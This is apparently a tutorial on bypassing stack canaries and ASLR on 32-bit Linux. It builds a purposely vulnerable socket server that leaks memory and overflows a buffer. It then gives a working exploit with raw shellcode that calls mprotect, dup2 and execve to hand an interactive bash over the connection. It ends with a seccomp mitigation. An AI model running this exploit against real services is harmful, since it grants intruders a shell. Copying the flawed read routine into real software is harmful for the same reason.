Stack canary and ASLR bypassing on X86_32

Described test shows how buffer overflow vulnerability can be exploited to get access to modern x86_32 system running latest Ubuntu, Fedora or CentOS distros.

Stack protection is implemented via inserting random value (canary) on stack right after the function call:

0000136d sock_read:
...
65 a1 14 00 00 00       mov    %gs:0x14,%eax
89 45 f4                mov    %eax,-0xc(%ebp)
31 c0                   xor    %eax,%eax

Function variables and buffer memory are reserved after placed canary so if program accidentally writes data above reserved boundaries the code on exit from function detects it:

8b 55 f4                mov    -0xc(%ebp),%edx
65 33 15 14 00 00 00    xor    %gs:0x14,%edx
74 05                   je     13ec sock_read+0x7f
e8 64 02 00 00          call   1650 __stack_chk_fail_local

Interesting to note that the %gs:0x14 returns unique value reserved for the thread. %gs is pointing to the thread storage and initialized by OS at process creation time.

To bypass the stack protection based on canaries we need to leak it from the program itself.

Our exploit works only if the piece of address space was stolen (to be precise, when stack memory is leaked where vulnerable application stores important information such as call traces, stack pointers, parameters, etc.) and in addition there is another vulnerability - buffer overflow.

In order to test exploit first let's implement vulnerable program. It's pretty simple: the app open a socket, binds to port 5000 and listen for incoming connection. When new connection occurs attacker first leaks the host data and then exploits buffer overflow as follows:

int sock_read(int connfd) {
        char buf[8];
        int len = 0;
        read(connfd, &len, sizeof(int)); 
        write(connfd, buf, len); /* memory leak if len > 8 */
        len = read(connfd, buf, len); /* buffer overflow if len > 8 */

        return len;
}

Attacker uses leaked data in order to detect the location of libc library:

->> 0
->> 0
->> b98c6e00 --> stack canary
->> 3
->> 565d5fa0 
->> fffdf5e8 --> EBP
->> 565d358e --> return address
->> 4        --> connfd descriptor
->> 0
->> 0
->> 565d340c
->> 1
->> 565d4008
->> 3
->> 4
->> 565d4008
->> 565d4012
->> 0
->> 88130002
->> 0
->> 30303030
->> 30303030
->> b98c6e00 -> stack canary
->> fffdf600
->> 0
->> 0
->> f7d46ee5
->> f7f0f000
->> f7f0f000
->> 0
->> f7d46ee5 --> __libc_start_main+0xF5
->> 1

Once the necessary information received about __libc_start_main+offset the attacker can calculate libc start address using objdump and libc library from interested distros. For example on Ubuntu 20.04 LTS objdump show the following:

objdump -D /usr/lib32/libc-2.31.so
0001edf0 __libc_start_main@@GLIBC_2.0:
1edf0:       f3 0f 1e fb             endbr32 
1edf4:       e8 c4 62 12 00          call   1450bd
...
1eee1:       ff 54 24 70             call   *0x70(%esp)
1eee5:       83 c4 10                add    $0x10,%esp
...

So if you deduct 0x1eee5 - 0x1edf0 it will be 0xf5. It exactly the next instruction after call   *0x70(%esp). Then the start of libc address is 0xf7d46ee5 - 0x1eee5 =0xf7d28000.

Since we know the start address of libc we can easily find all other necessary functions addresses such as: execve, dup2 and mprotect. You might be wondering what if the system is unknown and there is customized libc library and offsets are different? In this case you need to gather the more information as possible about used system, however if there is already a memory leak in the program and you can see some pointers on address space of libc you can guess or calculate the start address roughly taking into account that the start address shall always be aligned to PAGE SIZE.

So if there is a libc start address detected then ASLR is not a concern anymore, isn't it?

Important to notice that the canary is unique for the thread which is why you see the same canary value on the stack. It means if there is only one thread running in the program the canary can be leaked in one place and buffer overflow can be exploited in another place of the program.

Now let's implement the exploit itself. The exploit would consist of 2 parts: first part is preparation of the stack to handover control to injected code and second part shellcode itself which passes execution to reverse bash.

So preparation of the stack would include the following:

  1. Remapping of stack area to make it executable
  2. Setting up necessary arguments to be used in execve()
* 8 Bytes shall be data for overflowed buffer */
/* STACK CANARY PROTECTION */ shell[2] = pbuf[2];
int libc_start = pbuf[22]; // extract __libc_start_main+0xf5
libc_start -= 0xf5; // deduct offset to __libc_start_main
libc_start -= 0x1edf0; // deduct offset from __libc_start_main to libc start
int ebp = pbuf[5];
/* EBP */ shell[5] = ebp; // restore EBP
/* Start from EBP - 0x3C because shellcode is located at shell[21] - shell[6] = 15 * 4 = 60 or 0x3C */
/* EBP - 0x3C */ shell[6] = libc_start+0x1024d0; // return address: mprotect
/* ESP */ int esp = (ebp & 0xfffff000);  // STACK address to be mprotect'ed
/* EIP */ int eip = ebp; // exec stack
/* EBP - 0x38 */ shell[7] = eip; // return address 2 after mprotect exit
/* EBP - 0x34 */ shell[8] = esp; // addr to be changed on stack
/* EBP - 0x30 */ shell[9] = 0x2000; // 1 page length
/* EBP - 0x2C */ shell[10] = 0x7; // wrx
/* EBP - 0x28 */ memcpy(&shell[11], "/bin/bash", strlen("/bin/bash"));
/* EBP - 0x1C */ memcpy(&shell[14], "-i", strlen("-i"));
/* EBP - 0x18 */ shell[15] = ebp - 0x28;
/* EBP - 0x14 */ shell[16] = ebp - 0x1C;
/* EBP - 0x10 */ shell[17] = 0x0;
/* EBP - 0xC */ shell[18] = pbuf[7]; // connfd
/* EBP - 0x8 */ shell[19] = libc_start + 0xf5090; // dup2@libc
/* EBP - 0x4 */ shell[20] = libc_start + 0xcc180; // execve@libc
char shellcode[] = "\x31\xc9\x51\x8d\x45\xf4\x8b\x10\x52\x8d\x5d\xf8\xff\x13\x41\x83\xf9\x03\x75\xee\x6a\x00\x8d\x45\xe8\x50\x8d\x45\xd8\x50\x8d\x45\xfc\xff\x10";
/* EBP - 0x0 */ memcpy(&shell[21], shellcode, sizeof(shellcode));

Magic shellcode is binary code from the following:

31 c9                   xor    %ecx,%ecx
loop:
51                      push   %ecx
8d 45 f4                lea    -0xc(%ebp),%eax
8b 10                   mov    (%eax),%edx
52                      push   %edx
8d 5d f8                lea    -0x8(%ebp),%ebx
ff 13                   call   *(%ebx)
41                      inc    %ecx
83 f9 03                cmp    $0x3,%ecx
75 ee                   jne    11c0 
6a 00                   push   $0x0
8d 45 e8                lea    -0x18(%ebp),%eax
50                      push   %eax
8d 45 d8                lea    -0x28(%ebp),%eax
50                      push   %eax
8d 45 fc                lea    -0x4(%ebp),%eax
ff 10                   call   *(%eax)

So now let's compile our vulnerable server and run it as follows:

$ make
gcc -DX86 -fstack-protector-strong -m32 -o shell-exploit-32 shell-exploit.c
$ ./shell-exploit-32 

And run our exploit:

$ make
gcc -g -m32 -DX86 -o test-exploit-32 test-exploit.c
./test-exploit-32
->> 0
->> 0
...
__libc_start_main+0xF5: f7d17ee5
__libc_start: f7cf9000
EBP: ff88e0b8
mprotect: f7dfb4d0
ESP: ff88e000
EIP: ff88e0b8
To run a command as administrator (user "root"), use "sudo command".
See "man sudo_root" for details.

evg@evg:/home/evg/projects/test$ 

OK so exploit worked successfully w/o warnings from the operating system on Ubuntu 20.04.

For the test I also installed Fedora and CentOS and made sure that SeLinux is enabled and works in enforced mode.

[evg@localhost evg]$ cat /etc/fedora-release
Fedora release 32 (Thirty Two)
[evg@localhost evg]$ uname -a
Linux localhost.localdomain 5.6.6-300.fc32.x86_64 #1 SMP Tue Apr 21 13:44:19 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
[evg@localhost evg]$ /sbin/getenforce
/sbin/getenforce
Enforcing

The exploit still worked and auditd didn't report any issues. It turned out that in order to setup full protection of the system you need to write specific rules as for auditd and selinux. By default the system doesn't monitor for any suspicious calls such as mprotect in running program.

The solution for developers might be to use seccomp() with restriction of executing only allowed syscalls:

void install_syscall_filter()
{
        struct sock_filter filter[] = {
                VALIDATE_ARCHITECTURE,
                EXAMINE_SYSCALL,
                ALLOW_SYSCALL(read),
                ALLOW_SYSCALL(write),
                ALLOW_SYSCALL(socket),
                ALLOW_SYSCALL(socketcall),
                ALLOW_SYSCALL(setsockopt),
                ALLOW_SYSCALL(bind),
                ALLOW_SYSCALL(listen),
                ALLOW_SYSCALL(accept4),
                KILL_PROCESS,
        };
        struct sock_fprog prog = {
                .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
                .filter = filter,
        };

        assert(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == 0);

        assert(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == 0);
}

Now the system kills the process when mprotect is called:

$ dmesg
[ 4718.012307] audit: type=1326 audit(1593718618.529:4): auid=1000 uid=1000 gid=1000 ses=3 subj=kernel pid=102687 comm="shell-exploit" exe="/home/evg/projects/test/shell-exploit" sig=31 arch=40000003 syscall=125 compat=1 ip=0xf7f48b49 code=0x0
evg@evg:~/projects/test$ grep 125 /usr/include/x86_64-linux-gnu/asm/unistd_32.h
#define __NR_mprotect 125

All example code is located here.